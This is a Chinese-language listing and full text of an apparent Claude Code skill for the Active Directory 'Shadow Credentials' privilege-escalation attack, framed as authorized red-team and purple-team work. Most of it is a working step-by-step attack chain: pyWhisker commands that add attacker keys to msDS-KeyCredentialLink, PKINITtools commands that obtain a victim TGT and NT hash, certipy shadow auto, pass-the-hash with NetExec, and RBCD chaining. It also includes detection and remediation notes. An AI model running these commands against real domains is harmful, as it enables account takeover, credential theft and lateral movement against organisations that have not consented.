关于 abusing-shadow-credentials-for-privesc
面向授权安全测试的 Active Directory Shadow Credentials 权限提升技能,介绍如何用 pyWhisker 或 Certipy 修改 `msDS-KeyCredentialLink`,获取目标 TGT 和 NT 哈希并清理凭据。
主要功能
- 01检查 `msDS-KeyCredentialLink` 写入权限
- 02添加和移除 Key Credential
- 03通过 PKINIT 请求目标 TGT
- 04恢复目标 NT 哈希
- 05记录 ACL 路径与修复建议
适用场景
- 01评估 BloodHound 中的写入权限路径
- 02测试无需重置密码的账户接管
- 03演练计算机账户接管及 RBCD 链接
- 04为紫队演练生成相关遥测
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill abusing-shadow-credentials-for-privesc安装后在 Claude Code 中输入/abusing-shadow-credentials-for-privesc确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEreferences/api-reference.mdstandards.mdscripts/agent.py详细介绍
滥用 Shadow Credentials 进行权限提升
法律声明: 本技能仅用于经授权的安全测试和教育目的。Shadow Credentials 可完全接管目标账户。仅可用于你拥有或获得明确书面授权进行测试的系统。未经授权的访问属于犯罪行为。
概述
Shadow Credentials 技术滥用 Active Directory 用户和计算机对象的 msDS-KeyCredentialLink 属性。该属性存储原始公钥(“Key Credentials”),供 Windows Hello for Business 和 Azure AD 设备注册使用,通过 PKINIT(Kerberos 初始身份验证公钥加密)实现基于证书的无密码登录。如果攻击者对目标对象的 msDS-KeyCredentialLink 拥有写入权限——通常由 BloodHound 中出现的 GenericWrite、GenericAll、WriteProperty 或 AddKeyCredentialLink ACE 授予——他们就可以附加自己生成的攻击者公钥。随后,他们使用匹配的私钥通过 PKINIT 为目标请求 TGT,并恢复目标的 NT 哈希,从而在不重置密码的情况下实现完全账户接管,这比强制重置密码隐蔽得多。
该技术由 Elad Shamir 发布(“Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover”),并在 C# 工具 Whisker 中实现。Python 等效工具 pyWhisker(ShutdownRepo)通过 LDAP 操纵该属性,而 Certipy 通过 certipy shadow auto 集成整个攻击链。目标环境必须支持 PKINIT,并且至少有一台运行 Windows Server 2016 或更高版本的域控制器。来源:pyWhisker、Whisker、The Hacker Recipes — Shadow Credentials。
使用场景
- 当 BloodHound 显示对更高价值用户或计算机拥有
GenericWrite/GenericAll/AddKeyCredentialLink时 - 作为比
ForceChangePassword更隐蔽的替代方案(不重置密码 = 更少干扰/告警) - 接管计算机账户以串联到基于资源的约束委派(RBCD)
- 在红队行动中需要在不锁定合法用户的情况下接管账户时
- 用于紫队演练以生成
msDS-KeyCredentialLink修改遥测
前提条件
- 经授权的交火范围包含 AD 凭据访问技术
- 控制一个对目标的
msDS-KeyCredentialLink具有写入权限的主体 - 一台运行 Windows Server 2016+ 且启用了 PKINIT 的 DC(支持 Key Trust 的域功能级别)
- 可网络访问 DC 上的 LDAP(389/636)和 Kerberos(88)
- 运行 Python 3.8+ 的 Linux 攻击主机;安装工具:
# pyWhisker (from source) git clone https://github.com/ShutdownRepo/pywhisker cd pywhisker && pip install . # Certipy (integrated shadow attack) pipx install certipy-ad # PKINITtools for manual TGT/NT-hash extraction git clone https://github.com/dirkjanm/PKINITtools
目标
- 确认对目标的
msDS-KeyCredentialLink具有写入权限 - 生成密钥对并向目标对象附加 Key Credential
- 使用新密钥通过 PKINIT 为目标请求 TGT
- 恢复目标的 NT 哈希以进行 pass-the-hash/进一步横向移动
- 清理注入的 Key Credential 以恢复对象状态
- 记录促成该攻击的 ACL 路径以供修复
MITRE ATT&CK 映射
| ID | 技术 | 本技能中的应用 |
|---|---|---|
| T1098.005 | 账户操纵:设备注册 | 将攻击者控制的 Key Credential(设备密钥)写入 msDS-KeyCredentialLink,为目标账户注册备用身份验证凭据 |
工作流
步骤 1:确认写入原语
列出目标上现有的 Key Credentials,以验证你拥有所需访问权限。空结果或可读结果可确认你具有执行 add 步骤的写入权限。
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
--target "victim" --action "list"
步骤 2:使用 pyWhisker 添加影子凭据
生成证书/密钥对并将其写入目标的 msDS-KeyCredentialLink。pyWhisker 会输出一个由你控制的 PFX。
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
--target "victim" --action "add" --filename victim_shadow
# Produces victim_shadow.pfx and prints the PFX password
如果你只持有一个票据,请使用 Kerberos 认证而不是密码:
python3 pywhisker.py -d "corp.local" -u "attacker" -k --no-pass \
--target "victim" --action "add" --filename victim_shadow --use-ldaps
步骤 3:通过 PKINIT 请求 TGT
使用生成的 PFX 配合 PKINITtools 为目标获取 Kerberos TGT。
python3 PKINITtools/gettgtpkinit.py \
-cert-pfx victim_shadow.pfx -pfx-pass <PFX_PASSWORD> \
corp.local/victim victim.ccache
步骤 4:恢复 NT 哈希
使用步骤 3 中的会话密钥从 AS-REP 中提取目标的 NT 哈希(getnthash.py 读取由 gettgtpkinit.py 显示的 AS-REP 加密密钥)。
export KRB5CCNAME=victim.ccache
python3 PKINITtools/getnthash.py -key <AS-REP-KEY-FROM-STEP-3> corp.local/victim
# Prints the NT hash for 'victim'
步骤 5:使用 Certipy 的一键替代方案
Certipy 的 shadow auto 会自动执行添加 → PKINIT → 转储哈希 → 清理,非常适合计算机账户接管。
certipy shadow auto -u '[email protected]' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'victim'
# For a computer account, use the sAMAccountName with trailing $
certipy shadow auto -u '[email protected]' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'WS01$'
步骤 6:使用恢复的凭据
使用 NT 哈希(或 TGT)进行认证以继续渗透。
# Pass-the-hash with NetExec
nxc smb 10.0.0.10 -u victim -H <RECOVERED-NT-HASH>
# Or use the TGT directly
export KRB5CCNAME=victim.ccache
nxc smb dc.corp.local -u victim --use-kcache
步骤 7:将计算机接管串联到 RBCD(可选)
当目标是计算机时,恢复的密钥/哈希可让你配置基于资源的约束委派,从而冒充任意用户访问该主机。
# Set RBCD so attacker-controlled SPN can impersonate to WS01$
impacket-rbcd -delegate-from 'attacker$' -delegate-to 'WS01$' \
-action write 'corp.local/attacker:Passw0rd!'
步骤 8:清理
移除注入的密钥凭据以恢复对象并减少被检测的痕迹。
# pyWhisker: remove by device-id (printed during add) or clear all you added
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
--target "victim" --action "remove" --device-id <DEVICE-ID>
# Certipy shadow auto cleans up automatically; otherwise:
certipy shadow clear -u '[email protected]' -p 'Passw0rd!' \
-dc-ip 10.0.0.100 -account 'victim'
工具与资源
| 资源 | 用途 | 链接 |
|---|---|---|
| pyWhisker | 通过 Python LDAP 操作 msDS-KeyCredentialLink | https://github.com/ShutdownRepo/pywhisker |
| Whisker | 原始 C# 实现 | https://github.com/eladshamir/Whisker |
| Certipy | shadow auto 端到端接管 | https://github.com/ly4k/Certipy |
| PKINITtools | gettgtpkinit / getnthash | https://github.com/dirkjanm/PKINITtools |
| The Hacker Recipes | 技术详解与防御措施 | https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials |
检测与修复说明
| 领域 | 指导 |
|---|---|
| 检测 | 监控 Windows 安全事件 ID 5136(目录对象已修改)以发现对 msDS-KeyCredentialLink 的更改;当非 AD-Connect/非 Intune 主体写入该属性时发出警报。 |
| 审计 | 在用户/计算机 OU 上启用目录服务对象更改审计。 |
| 最小权限 | 移除不必要的 GenericWrite/GenericAll/AddKeyCredentialLink ACE(BloodHound 的 AddKeyCredentialLink 边)。 |
| 缓解 | 在未使用 Windows Hello/设备注册的情况下,限制可写入密钥凭据的主体,并考虑使用 tier-0 保护账户。 |
验证标准
- 已确认对目标的
msDS-KeyCredentialLink具有写入权限(list成功) - 已成功添加密钥凭据(生成 PFX)
- 已为目标账户获取 PKINIT TGT
- 已恢复目标 NT 哈希并针对服务进行验证
- (如果是计算机)已演示 RBCD 链条或后续横向移动
- 已移除注入的密钥凭据/恢复对象
- 已记录启用 ACL 的路径并附带修复建议